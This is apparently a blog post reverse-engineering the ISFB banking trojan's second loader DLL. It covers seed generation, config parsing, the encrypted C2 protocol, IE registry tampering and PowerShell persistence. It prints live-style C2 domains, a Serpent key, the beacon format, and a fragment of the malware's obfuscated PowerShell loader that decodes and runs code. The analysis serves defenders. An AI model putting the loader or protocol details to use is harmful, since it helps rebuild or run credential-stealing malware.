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So it’s been quite a while since my last post, however now that myBeginner Malware

Analysis Course is complete, the posts should be more and more frequent, although that

obviously depends on the complexity of the samples I am analyzing. If you haven’t checked

out my last post on ISFB where we analyzed the first loader, check that out here to get

some context for this part.

The second loader is part of the infection chain for a group of threat actors utilizing ISFB for

financial gain, which I gave the name “Group 53”. You can read more information about this

particular group in the previous post as well, which contains a lot more detail about the

group and the ISFB banking trojan itself. The second loader is in DLL format, with it being

named “RPCRT4.dll” by the group, so we will be referring to the DLL with that name. This is

quite an old sample, however as I was able to analyze it previously when the C2s were still

alive, I was able to grab a PCAP file containing the communication to and from the sample,

so we can still debug the sample and as the data is all valid, it should stay live. Anyway, if

you want to follow along with the analysis or do some analysis on your own, all the samples

have been uploaded to VirusBay. Let’s start reversing!

MD5 Of RPCRT4.dll: 52b4480de6f4d4f32fba2b535941c284

Taking a look at the entry point, only one function is called when the sample first executes,

this being First_Function (sub_1D4677), with a handle to the DLL instance being pushed

as the argument (pointing to the base address of the DLL). This entry point is similar for

pretty much all the samples of RPCRT4.dll that I have looked at, so if you are analyzing a

sample of ISFB and find a similar function in a new region of memory, it could be the

second loader DLL.

https://www.0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/
https://www.0ffset.net/author/dan489400/
https://0verfl0w.podia.com/malware-analysis-course
https://www.0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/
https://beta.virusbay.io/
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Upon stepping into this function, you will probably recognize some similarities to the

previous loader. Looking at the pseudocode below, we can see that first a heap is created, to

be used later on, and then the program gets a handle on itself, which is used in the next

function named Decrypt_BSS_Section (sub_1D55F0). As the name suggests, this

function decrypts the data in the .BSS section. It contains the same decryption function as

the first loader, however due to the fact that the .BSS section is at a different address

(0xC000 rather than 0x6000), the resulting decryption key will be different. After

decrypting the .BSS section using the decryption script which you can find here, we can

finish looking at this function. The sample checks to see if the system is 32 or 64 bit, and

then executes the final function, named Main_Func (sub_1D6C79), before exiting. So, we

need to step into Main_Func.

https://github.com/0ver-fl0w/ISFB_Tools/blob/master/BSS_Decrypt.py
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Looking at the function Main_Func, it is clear that there are a number of different things

happening inside it, so this part will be split into a few different sections.
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Linear Congruential Random Number Generator (LCRNG)

Throughout the execution of this second loader, one particular algorithm known as a Linear

Congruential Random Number Generator resurfaces time and time again, with it being

identifiable through it’s constants. So, what is a LCRNG? Well according to Wikipedia:

A linear congruential generator (LCG) is an algorithm that yields a sequence of 
pseudo-randomized numbers calculated with a discontinuous piecewise linear equation. 
The method represents one of the oldest and best-known pseudorandom number generator 
algorithms.[1] The theory behind them is relatively easy to understand, and they are 
easily implemented and fast, especially on computer hardware which can provide 
modulo arithmetic by storage-bit truncation.

Now, I’m not a mathematician, so I have no clue as to what half of these terms mean, so I

will focus on how exactly I was able to locate and determine what this algorithm was.

https://en.wikipedia.org/wiki/Linear_congruential_generator
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Looking at the image below, we can see that first the loader calls a function named

QueryTokenInformation (sub_1D57C7), which is responsible for getting a handle to the

current process token using ZwOpenProcessToken() and then querying that token using

ZwQueryInformationToken(), and then copying this to a newly allocated region of

memory. The queried information copied over can be seen below, and is in fact the Security

Identifier (SID) of the current user (taken from a debugger):

Current User SID { 
    0x00000501, 0x05000000, 0x00000015, 0x6A80C140, 0x2065CB4C, 0xCA01B1D8, 
0x000003E9,  
    0x00000000 
};

Once the querying function returns, a comparison is performed between 0x02 and the byte

pointed to by ebp+var_1F, which can be displayed as ebp-1F or ebp-31 (it is quite

confusing, I agree). Following ebp-1F in a debugger points to the first DWORD in the

retrieved SID, specifically the 0x05. Obviously these two values don’t match, and so the

value 0x05 is moved into eax, which is added to 0xFFFFFFFE, resulting in eax

containing 0x03. This is then used in the loop just after, where the loader adds the fourth,

fifth, and sixth DWORD in the SID together, which is then stored in the DWORD I have

named Generated_Seed. Upon adding these values, we get 0x154E83E64, which in

DWORD format would be 0x54E83E64.
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Then, the calculated value is XOR’d with the value 0xCF8558FC, giving the final seed

0x9B6D6698. The loader then initializes a critical section, moving the string

0123456789ABCDEF into a newly allocated region of memory. This particular string

resembles the default RC6 encryption/decryption key, which was used prior to Serpent

being implemented.
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The next function called is named Get_Machine_User_Name_Gen_Value

(sub_1D4BBE), and contains the first LCRNG function in the binary. In the psuedocode, we

can see that the function Random_Value_Generator (sub_1D5D69) takes 2 arguments:

the previously generated seed, and an empty region of memory. Based on the XOR

operations below, we can assume that this empty region of memory will contain the

randomly generated values. Before we check out the LCRNG function, let’s finish up

analyzing this function. We can see that the loader calls GetUserNameW() and

GetComputerNameW(), before performing a CRC32 calculation (same CRC32 function

as the previous loader) on the Username and Computer Name. The results of the CRC32

hashing are XOR’d with the first (Alloc_Memory) and fourth (Alloc_Memory[3]) DWORD

of the LCRNG value. Finally, the second DWORD of the randomly generated value is XOR’d

with the result of XORing the values in eax, ecx, and edx after calling cpuid(). So, now we

have an idea of this function, let’s examine the LCRNG.
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The LCRNG function is quite small, and so doesn’t stand out as well as something like

Serpent for example. Taking a look at the assembly or psuedocode of the function, we can

get a good idea of what is going on. Specifically, two values stand out: 0x19660D and

0x3C6EF35F. After searching for either one of these two values we can find references to

their usage in other variants of malware, specifically PowerSniff, PoSlurp, and

ShellTea, two of which are PoS malware, and one being similar to ISFB itself. After

some more searching, I came across this video (1:06) from 2016, which explains how this

particular algorithm works – except in the context of Super Mario 64 on the Nintendo DS.

Whilst the other variants of malware utilize the algorithm to decrypt strings or encrypt

stolen data, this loader simply uses it for generating a randomized value. Using all of the

information we have found, we can replicate the algorithm using these values:

RNG Seed = 0x9B6D6698 
RNG Adder = 0x3C6EF35F 
RNG Multiply = 0x0019660D

As we are able to debug the sample, we can take the quick route and simply put a breakpoint

on the function return, and run until we hit it. From doing so three times, I was able to get 3

different values, however I did get a few repeats – this is due to the fact that there is a seed

involved, so there is a high chance that there could be duplicates (*I think*). These are the

three different, but similar, values that were generated:

https://www.root9b.com/sites/default/files/whitepapers/PoS%20Malware%20ShellTea%20PoSlurp_1.pdf
https://unit42.paloaltonetworks.com/powersniff-malware-used-in-macro-based-attacks/
https://www.youtube.com/watch?v=Ll4yzgVvcfg
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1: 17 B9 B5 BC 8A 83 61 9D 4C 3B 5E 25 40 9F 72 29 
2: 17 B9 B5 BC 8A 83 61 9D 4C 3B 5E 25 9F 72 29 74 
3: 17 B9 B5 BC 8A 83 C0 90 1F F2 A9 F4 C3 46 ED 68

In this example, we will be using one to calculate the end result of the function:

17 B9 B5 BC 8A 83 61 9D 4C 3B 5E 25 40 9F 72 29

As mentioned, it XORs the first DWORD (bytes swapped) with the CRC hash of the

username, so for my virtual machine, the calculation was: 0xBCB5B917 ^ 0x510E019D.

This then overwrites the first DWORD, resulting in this:

8A B8 BB ED 8A 83 61 9D 4C 3B 5E 25 40 9F 72 29

Next, it XORs the last DWORD with the CRC hash of the system name, so the calculation

was: 0x29729F40 ^ 0xADAC6654. Once again, it overwrites the DWORD, resulting in:

8A B8 BB ED 8A 83 61 9D 4C 3B 5E 25 14 F9 DE 84

Finally, it XORs the second DWORD with the result of eax ^ ecx ^ edx after calling

cpuid(), so the calculation was: 

0x9D61838A ^ 0xC9D3D67E, which again overwrites the DWORD, resulting in the final

“string”:

8A B8 BB ED F4 55 B2 54 4C 3B 5E 25 14 F9 DE 84

This final value is stored in the variable Generated_Value, ready for use later on. So, that

sums up the LCRNG function, let’s jump back to the calling function, and onto the next

section.
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Parsing The Configuration

The next function to analyze is named Parse_JJ_And_Config (sub_1D66E3), and as the

name suggests, focuses on parsing the joined configuration (AKA Client_INI). I have gone

over how the JJ structures are parsed in the prior post, and so in this post we will be looking

at how the configuration itself is parsed. Looking at the pseudocode for this function, there

are two important functions; Parse_JJ_Structure (sub_1D740D) and Parse_Config

(sub_1D2DCD). You’ll also notice that Parse_JJ_Structure is called twice – this is due to

the fact that the second loader contains two lots of joined data – a Public RSA Key, and the

configuration, hence why you can see the variable RSA_Key.

After decompressing both the RSA Key and configuration, we are left with these hex dumps

below:
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Decompressed RSA Pub. Key { 
       0x00, 0x02, 0x00, 0x00, 0xE0, 0x64, 0x63, 0x8D, 0x56, 0xB4, 0x69, 0x04, 
0x16, 0x10, 0x0B, 0xF5, 
       0x05, 0x57, 0x54, 0x21, 0x64, 0xBA, 0x8E, 0x6E, 0xE2, 0x7A, 0xAD, 0x15, 
0xF9, 0x7C, 0x1F, 0x79, 
       0xA8, 0xC8, 0x39, 0x75, 0xE1, 0x29, 0x1C, 0x37, 0x15, 0xC5, 0x15, 0x69, 
0xB0, 0x20, 0x4F, 0x2B, 
       0x4D, 0x3C, 0xF8, 0x1F, 0x38, 0x06, 0x02, 0x8D, 0xD0, 0x1D, 0x15, 0x7C, 
0x87, 0xF7, 0xF9, 0x1D, 
       0xDB, 0x6D, 0xB1, 0xE5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x00, 0x01, 0x00, 0x01 
};
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Decompressed Configuration { 
       0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0xEB, 0x5B, 0x65, 
0x01, 0x00, 0x00, 0x00, 
       0x20, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0xF6, 0x5B, 0x66, 0xD0, 0x01, 0x00, 0x00, 0x00, 0x09, 0x01, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0x79, 0x6B, 0x65, 
0x01, 0x00, 0x00, 0x00, 
       0x20, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x8F, 0xED, 0x6A, 0x55, 0x01, 0x00, 0x00, 0x00, 0x0D, 0x01, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x69, 0xA8, 0x4F, 
0x01, 0x00, 0x00, 0x00, 
       0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x7F, 0x1C, 0x27, 0x11, 0x01, 0x00, 0x00, 0x00, 0xF1, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0x57, 0x29, 0x48, 
0x01, 0x00, 0x00, 0x00, 
       0xDC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x25, 0x59, 0x4E, 0x58, 0x01, 0x00, 0x00, 0x00, 0xC7, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x73, 0x17, 0x73, 
0x01, 0x00, 0x00, 0x00, 
       0xB1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x68, 0x0E, 0x85, 0xCD, 0x01, 0x00, 0x00, 0x00, 0xB7, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFA, 0x1E, 0xC6, 
0x01, 0x00, 0x00, 0x00, 
       0xAA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x88, 0x74, 0x2E, 0xDF, 0x01, 0x00, 0x00, 0x00, 0x9D, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 
       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0x66, 0x65, 
0x6C, 0x69, 0x63, 0x69, 
       0x61, 0x6C, 0x65, 0x77, 0x2E, 0x63, 0x69, 0x74, 0x79, 0x20, 0x6D, 0x7A, 
0x67, 0x34, 0x39, 0x35, 
       0x38, 0x6C, 0x63, 0x2E, 0x63, 0x6F, 0x6D, 0x20, 0x67, 0x78, 0x75, 0x78, 
0x77, 0x6E, 0x73, 0x7A, 
       0x61, 0x75, 0x2E, 0x62, 0x61, 0x6E, 0x64, 0x00, 0x33, 0x31, 0x38, 0x34, 
0x00, 0x31, 0x32, 0x00, 
       0x31, 0x30, 0x32, 0x39, 0x31, 0x30, 0x32, 0x39, 0x4A, 0x53, 0x4A, 0x55, 
0x59, 0x4E, 0x48, 0x47, 
       0x00, 0x31, 0x30, 0x00, 0x32, 0x30, 0x00, 0x30, 0x00, 0x63, 0x6F, 0x6E, 
0x73, 0x74, 0x69, 0x74, 
       0x75, 0x74, 0x69, 0x6F, 0x6E, 0x2E, 0x6F, 0x72, 0x67, 0x2F, 0x75, 0x73, 
0x64, 0x65, 0x63, 0x6C, 
       0x61, 0x72, 0x2E, 0x74, 0x78, 0x74, 0x00, 0x30, 0x78, 0x34, 0x65, 0x62, 
0x37, 0x64, 0x32, 0x63, 
       0x61, 0x00, 0x63, 0x6F, 0x6D, 0x20, 0x72, 0x75, 0x20, 0x6F, 0x72, 0x67, 
0x00, 0x31, 0x30, 0x00, 
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       0x00 
};

If you’re looking for a quick way to extract the config, or scripts that can be used to

automate the extraction of IOCs or decryption of data with regards to ISFB, you can check

out my basic toolkit for doing so here.

Now we have both the RSA key and Config, let’s examine how the configuration is parsed.

Looking at Parse_Config, it takes one argument, which is the result of XORing the “pnls”

key that was mentioned in the previous post, with a certain embedded value. From closer

research into ISFB and looking at the open source version, it is clear that the “pnls” key is in

fact referred to as a CS_COOKIE, and so that is the term I will be using. In one instance,

we can see the CS_COOKIE being XOR’d with the embedded value 0x160717FA, which

results in the value 0x656B798A. If you look hard at the decompressed configuration

above, you will probably locate the same hex value, although backwards: 0x8A796B65.

This is due to the fact that the configuration acts as a lookup table, pointing to the real

configuration data such as the URLs or Botnet ID – this means the loader doesn’t have to

search the entire config to locate a certain value, and instead it can get the offset for that

value. Luckily, we are able to determine what value corresponds to what, thanks to the

work previously done by @Maciekkotowicz:

crc_table = { 
       "0x556aed8f": "server", 
       "0xea9ea760": "bootstrap", 
       "0xacf9fc81": "screenshot", 
       "0x602c2c26": "keyloglist", 
       "0x656b798a": "botnet", 
       "0xacc79a02": "knockertimeout", 
       "0x955879a6": "sendtimeout", 
       "0x31277bd5": "tasktimeout", 
       "0x18a632bb": "configfailtimeout", 
       "0xd7a003c9": "configtimeout", 
       "0x4fa8693e": "key", 
       "0xd0665bf6": "domains", 
       "0x75e6145c": "domain", 
       "0x6de85128": "bctimeout", 
       "0xefc574ae": "dga_seed", 
       "0xcd850e68": "dga_crc", 
       "0x73177345": "dga_base_url", 
       "0x11271c7f": "timer", 
       "0x584e5925": "timer", 
       "0x48295783": "timer", 
       "0xdf351e24": "tor32_dll", 
       "0x4b214f54": "tor64_dll", 
       "0x510f22d2": "tor_domains", 
       "0xdf2e7488": "dga_season", 
       "0xc61efa7a": "dga_tld", 
       "0xec99df2e": "ip_service" 
}

https://github.com/0ver-fl0w/ISFB_Tools
https://lokalhost.pl/talks/botconf2016/
https://twitter.com/maciekkotowicz
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Using this lookup table, we can see that the loader parses several values; Timer1, Timer2.

Timer3, BotnetID, Server, Key, and Domains. The timers are not extremely important,

however the other values are. The Botnet ID is a number corresponding to the ID assigned

to the botnet that the loader is a part of – some groups tend to use the same IDs, such as the

group utilizing Hancitor using the same value 2000 – although this group typically alter

the values, but still remain in the 3xxx region. This loader contains the botnet ID 3184. The

Server seems to be used only in the data posted to the C2 server, and it simply is a server

identifier, which is usually set to 12. The key is the Serpent encryption key to use for

encrypting all traffic to the server, and in this case it is 10291029JSJUYNHG. Finally, the

Domains are a list of C2 servers that the loader can reach out to in order to get the next

stage. In this loader, the C2 servers are; qfelicialew.city, mzg4958lc.com, and

gxuxwnszau.band. Whilst we do know what each value represents, let’s take a look at

how the loader parses the config, so that we can automate it.

Looking at the assembly of the function, we can see the parsing function is quite simple.

First, the loader checks to see if the value in some_counter is less than the number of

entries in the configuration, which can be found as the first byte in the configuration – in

this case it is 0x0C, meaning there are 12 different values. It then looks at the DWORD

pointed to by ecx-8, which in the first loop is only 8 bytes into the config. This DWORD is

compared to the CS_COOKIE XOR value stored in xor_value. If these values don’t match,

some_counter is incremented by 1, and 24 is added to ecx, before looping back around.

If the values do match, the DWORD at ecx-4 is used in a logical AND operation with the

value 0x01. In this loader, each DWORD after the one compared to xor_value contains the

value 0x01, and as 1 & 1 = 1, the jump condition is never met. Therefore, the value of

esi+ecx is moved into eax, and on the first loop, this is equal to 0x78. The value in eax is

then added to the offset pointed to by ecx, which on the first loop is 0xF1, resulting in the

value in eax being 0x169. 0x08 is added to this value, which is finally added to the base of

the config in order to get the correct value.

To understand it better, you can see a psuedocode version below:
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ESI =  0xFFFFFFF0 - Config_Address 
ECX = Config_Address + 16 
Counter = 0 
CRC_Val = arg_0 
while Counter < Num_Config_Entries: 
   Config_CRC = [ECX-8]                # Point to config CRC val 
   if Config_CRC== CRC_Val:  
      if [ECX-4] & 1 == 0: 
           EAX = [ECX] 
       else: 
           EAX = ESI + ECX 
           EAX = EAX[-8:]                    # Get Lower 8 bytes (32 bit machine) 
           EAX = EAX + [ECX] 
           Pointer_To_Data = [EAX +  Config_Address + 8] 
Counter = Counter + 1 
ECX = ECX + 24 
if EAX & EAX == 0: 
   return Pointer_To_Data
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Using the information in this function, we can understand how the configuration lookup

part is constructed:
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Config Lookup Structure (Typically followed by 3 DWORDs of 0x00's) { 
   DWORD CRC_Name 
   DWORD Flags 
   DWORD Offset 
};  
Config Lookup Structure Example { 
   0x655BEB58, 
   0x00000001,  
   0x00000120 
};

Once the URLs have been located in the config, they are split into individual URLs for easier

access – you’ll notice in the hex dump that each URL is split with 0x20, which corresponds

to a space.

So, now we have looked at how the configuration works in ISFB and how it is parsed by the

loader, we can move onto the next section/function – Network Communication and

the Next Stage.

Network Communication and the Next Stage

Once the loader has finished with the config, it returns back to the previous function and

calls the next one, which I have labelled Retrieve_And_Setup_Next_Stage

(sub_1D76ED), and this function is where things start to become quite interesting with the

usage of COM API to perform certain tasks. I have already gone over how the second loader

utilizes COM to connect to it’s C2 server through Internet Explorer in a previous post, which

you can find here, and so I will only briefly touch on the COM API usage in the sample.

https://www.0ffset.net/reverse-engineering/analyzing-com-mechanisms-in-malware/
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Inside the Retrieve_And_Setup_Next_Stage function, there are 3 important functions,

with the first one being named Registry_COM (sub_1D6E8A), the second being

Talk_To_C2 (sub_1D553A), and the final being Setup_And_Exec_Next_Stage

(sub_1D79B1).
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As the name suggests, Registry_COM involves the loader interacting with the registry

using COM API. When I was analyzing the sample, I noticed it would crash and get stuck on

one of the COM calls, and it only seemed to work when running from the original

executable, rather than the dumped DLL. The main purpose of this function is to prepare

Internet Explorer before it is used to communicate to the C2 server. It does so by altering 3

registry keys:

SOFTWARE\Microsoft\Internet Explorer\Main\IE10RunOnceLastShown_TIMESTAMP 
SOFTWARE\Microsoft\Internet Explorer\Main\IE8RunOnceLastShown_TIMESTAMP 
SOFTWARE\Microsoft\Internet Explorer\Main\Check_Associations
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The first two are timestamps, which are altered using the result of

GetSystemTimeAsFileTime(). This is to inform Internet Explorer that it was opened

just a few seconds ago, so that it doesn’t pop up any unwanted message boxes that pop up

every now and then. The final registry key is used to let Internet Explorer know if the user

wants to see the “Internet Explorer isn’t your default browser” upon each restart. By default

this is set to yes, but this loader sets it to no, so that the communication phase runs

silently. If you are interested in learning more about how the sample uses COM for tasks like

altering the registry, I highly recommend downloading it and analyzing it further, as there

aren’t many resources out there focused on COM API in malware, and this is a great sample

to learn from.
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Now we move onto the Talk_To_C2 function. This function is comprised of two parts – a

send/receive function (sub_1D43CC), and a decrypt/verify function (sub_1D6547). First,

lets take a look at the send/receive function.
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Firstly, for each connection made to a command and control server, this loader edits a string

that is posted to the server. This string contains information about the loader itself, as well

as a GUID for the user. The reason I used the term “edit” is because the string that is used is
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stored inside the BSS section, although placeholders are used, rather than actual values. The

string in question can be seen below:

soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x&uptime=%u

The loader then uses wsprintf() to fill in the string, using the correct values. The soft and

version are hardcoded into the loader, the user is the previously generated value, the

server and id are taken from the configuration, the crc is taken from the result of a call to

GetTickCount(), and the uptime is the result of a call to

QueryPerformanceFrequency() and QueryPerformanceCounter(). Once all is

complete, it should look similar to the string below:

soft=3&version=214062&user=8ab8bbedf455b2544c3b5e2514f9de84&server=12&id=3184&crc=1&u
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Next, the string is encrypted and encoded using Serpent CBC encryption and Base64

Encoding. The key used to encrypt it can be found in the configuration, and in this case the

key is 10291029JSJUYNHG. Before doing so, a random string is prepended to the string
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so that there are no similarities in the data sent to different C2’s – this prevents analysts

from writing rules to specifically search for the encrypted packet as it always differs. An

example of a random string prepended can be seen below.

Decrypted + Decoded string: 
phg=srlp&soft=3&version=214062&user=8ab8bbedf455b2544c3b5e2514f9de84&server=12&id=318

Encrypted + Encoded string: 
i3J0eyZZBqiCnYVeSU5uAc0Wn9PO9cfNdjb7eSLG2GFV1SGx+Spn6KJ9qlLDRx6InJvmuN/hh376/+9SAqnsR
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To finalize the string before sending, the loader cleans it up a bit, removing values such as +

and / and replacing them with _2B and _2F respectively. The =‘s are also removed.

Finally, using the random value generator, it adds slashes to the string in random places,

before prepending /images/ and appending .avi, resulting in a string similar to the one

below:

/images/i3J0eyZZBqiCnYVeSU5u/Ac0Wn9PO9cfNdjb7eSL/G2GFV1SGx_2BSpn6KJ9qlL/DRx6InJvmuN_2
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Once the string is complete, it is appended to the URL, and then the sample uses COM

functionality (sub_1D6F57) to communicate through Internet Explorer – so looking at

Process Hacker, you will notice that Internet Explorer is making connections, even though it

is not open – this is actually the loader connecting to the C2. If you want to find more about

how it does this, check out a previous post here.

https://www.0ffset.net/reverse-engineering/analyzing-com-mechanisms-in-malware/
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Whilst the C2 servers are down and have been for a while, we are able to use tools such as

InetSim to our advantage and replay the packets to the malware, meaning we can debug it

completely, rather than the sample exiting after failing to retrieve the next stage. This is only

possible if you have a valid PCAP though, and luckily I made sure to have Wireshark

running while I analyzed it initially. Once the data has been received by the loader, the

send/receive function Base64 decodes the data and returns, and if the data is valid, the

decrypt/verify function is called, so let’s move into that.



30/41

The decrypt/verify function is fairly simple to understand if you know what algorithms are

being used. It is commonly known that ISFB utilizes Serpent CBC Encryption, and that is no

different in this loader. However, what you may not realize is that there is another

decryption function called before the data is decrypted with Serpent – this is because the

data that is decrypted by the first function contains 3 important things; the MD5 hash of the

decrypted data, the Serpent key used to decrypt the data, as well as the size of the data to

decrypt (a lot of the data in the data received is simply junk code). Looking at the image

below, you can probably guess that it has something to do with RSA. And you would be

right! Before initiating the decryption of the downloaded data, the loader copies the joined

RSA key to a different region of memory, which is then pushed as the last argument to the

function RSA_Serpent_MD5_Data (sub_1D2C60). We can also determine that in some

samples, the “on-board” RSA key is encrypted, as we can see the variable dword_1DB25C

is being used in an if() statement, which performs a rotating XOR algorithm on the RSA key.

In this sample, that isn’t the case, so let’s step into the RSA_Serpent_MD5_Data

function.
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Examining the psuedocode of what seems to be the main decryption function, there are

three main functions here. It is quite difficult to follow what actually happens, due to the

layout of the code and the LABEL_xx, but here is a quick summary of what happens: First,

RSA_Decrypt_Block (sub_1D5213) is called, and the fourth argument of this function

tells us that the loader is only looking at the last 64 bytes of the data – v4 is the pointer to

the received data, and a1 is the size of the data. Therefore, if the data is 4064 bytes long, the

fourth argument would be v4[4000]. Once the last 64 bytes have been RSA decrypted, the

loader extracts the serpent key for decryption, the size, and MD5 hash, before calling the

Serpent (sub_1D52B4) function, with the last argument being 0, indicating the data is to

be decrypted. Once the data has been decrypted fully, MD5_Decrypted_Executable

(sub_1D2419) is called, which calculates the MD5 of the decrypted data. From there, it

compares each DWORD of both MD5 hashes, and as long as they both match, it will return

successfully – otherwise it will clear the decrypted data from memory and return.
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Last 64 bytes of data - Encrypted { 
   0x8B, 0x2B, 0x4F, 0x6B, 0xD8, 0xEF, 0xE3, 0x6A, 0x84, 0x11, 0x85, 0xDB, 0xAD, 
0x4D, 0x36, 0x51, 
   0x33, 0xC9, 0xCC, 0xAA, 0xCD, 0xCA, 0x72, 0x98, 0xB6, 0x15, 0x19, 0x19, 0xB3, 
0x64, 0x4C, 0x82, 
   0xF1, 0x72, 0x50, 0x57, 0xAC, 0x1C, 0x43, 0x82, 0xAB, 0x82, 0xBB, 0x7A, 0xF8, 
0xD1, 0x0D, 0xAF, 
   0xF4, 0xDD, 0x40, 0x13, 0x85, 0x5E, 0xA2, 0xE1, 0x91, 0x88, 0xF6, 0xFA, 0x2B, 
0xD5, 0xF2, 0x51 
};

Last 64 bytes of data - RSA Decrypted - MD5[0:16], Serpent[16:32], Size[32:36] {
   0x14, 0x37, 0x3F, 0x33, 0xE1, 0x90, 0x7B, 0x5D, 0x82, 0x74, 0x7B, 0xED, 0x1F, 
0x1A, 0xAC, 0xAF, 
   0xE2, 0xD9, 0x64, 0x73, 0x36, 0x1D, 0xD8, 0x57, 0xCA, 0xA1, 0x8C, 0x7B, 0x9E, 
0x65, 0x80, 0xDF, 
   0x00, 0x76, 0x02, 0x00, 0x06, 0xAD, 0x28, 0x67, 0x14, 0x37, 0x3F, 0x33, 0xE1, 
0x90, 0x7B, 0x5D, 
   0x82, 0x74, 0x7B, 0xED, 0x1F, 0x1A, 0xAC, 0xAF, 0x28, 0x00, 0x00, 0x00, 0x00, 
0x76, 0x02, 0x00 
};

Now that the data has been decrypted, and the MD5 hashes match completely, the

decrypt/verify function will return and overwrite the encrypted data with the decrypted data

using memcpy(). Then, we return back to the function that called Talk_To_C2. It is quite

difficult to tell with the psuedocode, but Talk_To_C2 is actually inside a loop that loops 3

times in total, meaning the same C2 is queried 3 times, with the same data, and it might
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leave you questioning “why?”. Well to answer that, we need to look at what the encrypted

data actually is. We can do this by decrypting it based off of the PCAP, or simply by

debugging it and waiting for it to decrypt in memory, before dumping it out.

On the first and second call to Talk_To_C2, the C2 server returns an executable. It may

seem like it is the same executable and the C2 just has an error, but on closer inspection this

is not true – looking at both executables in HxD, we can see that one is for a 64 bit machine,

and the other is for a 32 bit machine, which makes sense as ISFB injects into explorer.exe,

so having the correct architecture would be useful. So, we know what the first two

connections are for, what is the third?
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If you’ve ever read anything about ISFB in depth, you might have heard that it uses

Powershell and the registry for persistence. Well, this is the decrypted data returned by the

C2 on the third and final connection:

$rpgsxgd="jgrtkahbulw";function vva{$sjoielxky=
[System.Convert]::FromBase64String($args[0]);
[System.Text.Encoding]::ASCII.GetString($sjoielxky);};[byte[]]$gfhmenc=@(@CODE@); 
iex(vva("DQokZXJ1bXN3c3dmaD0iW0RsbEltcG9ydChgImtlcm5lbDMyYCIpXWBucHVibGljIHN0YXRpYyBl

After cleaning this up a bit and decoding the Base64, we get this:

It does look quite confusing to start of with, but don’t worry, we will get into this when it is

actually used by the sample. Once the communication phase is complete, the loader moves

into the final function in the loader itself before exiting –

Setup_And_Exec_Next_Stage (sub_1D79B1).
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Setting Up and Executing the Next Stage

As mentioned previously, the ISFB loader utilizes the registry quite frequently, to store

different pieces of data. Using the random value generator discussed earlier, as well as using

file data from the System32 directory (the loader queries several different files, gathering

file times etc.), the loader generates two seemingly random names based on filenames in the

System32 folder, which are then used as registry key names. In this sample, the two

generated names are basegcfg and ApiMider. Then, the loader copies one of the

executables (depending on the system architecture) to a new region of memory, before

overwriting both executables (not the copied one) using a similar rotating XOR algorithm

that was seen previously. From there, we move into quite an interesting function, called

Convert_EXE_Input_Powershell (sub_1D5DBC).

This function is responsible for firstly converting each byte of the copied executable to an

integer, as well as altering the first DWORD of the executable to a value that seems like a

relative jump to an offset:
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First DWORD of executable { 
   0xE9, 0x2F, 0xA8, 0x01        # 0xE9 = Relative JMP in x86 ASM, JMP 0x1a82f?
};
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As the executable is executed in an unusual way, this could be a pointer to the entry point of

the executable, although interestingly, upon altering the entry point to said offset using PE-

Bear and opening it up in IDA, it just points to the end of a function, so perhaps I am

incorrect. Once the executable has been completely converted to integers, the loader then

embeds this inside the powershell command we saw earlier. Searching for the string

@CODE@, it replaces this with the converted executable. An example can be seen here, as

it is an extremely long script after adding the executable in, so it would take up a lot of

space.

Moving back to the previous function, the loader calls Create_Registry_Keys

(sub_1D4912), which, as the name suggests, creates registry keys using COM API. The

created registry keys can be seen below, and are all in the same registry folder

Software\AppDataLow\Software\Microsoft\17B9B5BC-8A83-619D-4C3B-

5E25409F7229 – everything after AppDataLow is created by the loader.

Client32: Encrypted client 32 bit binary (Rotating XOR algorithm) 
Client64: Encrypted client 64 binary (Rotating XOR algorithm) 
basegcfg: Powershell "script" containing  
apiMider: WMIC Command pointing to Powershell script

https://zerobin.net/?98c1d31c65e47a19#zhJB1rGHOxf808MGfxfzockS9zn0EYw2xSbNJ1VtNug=
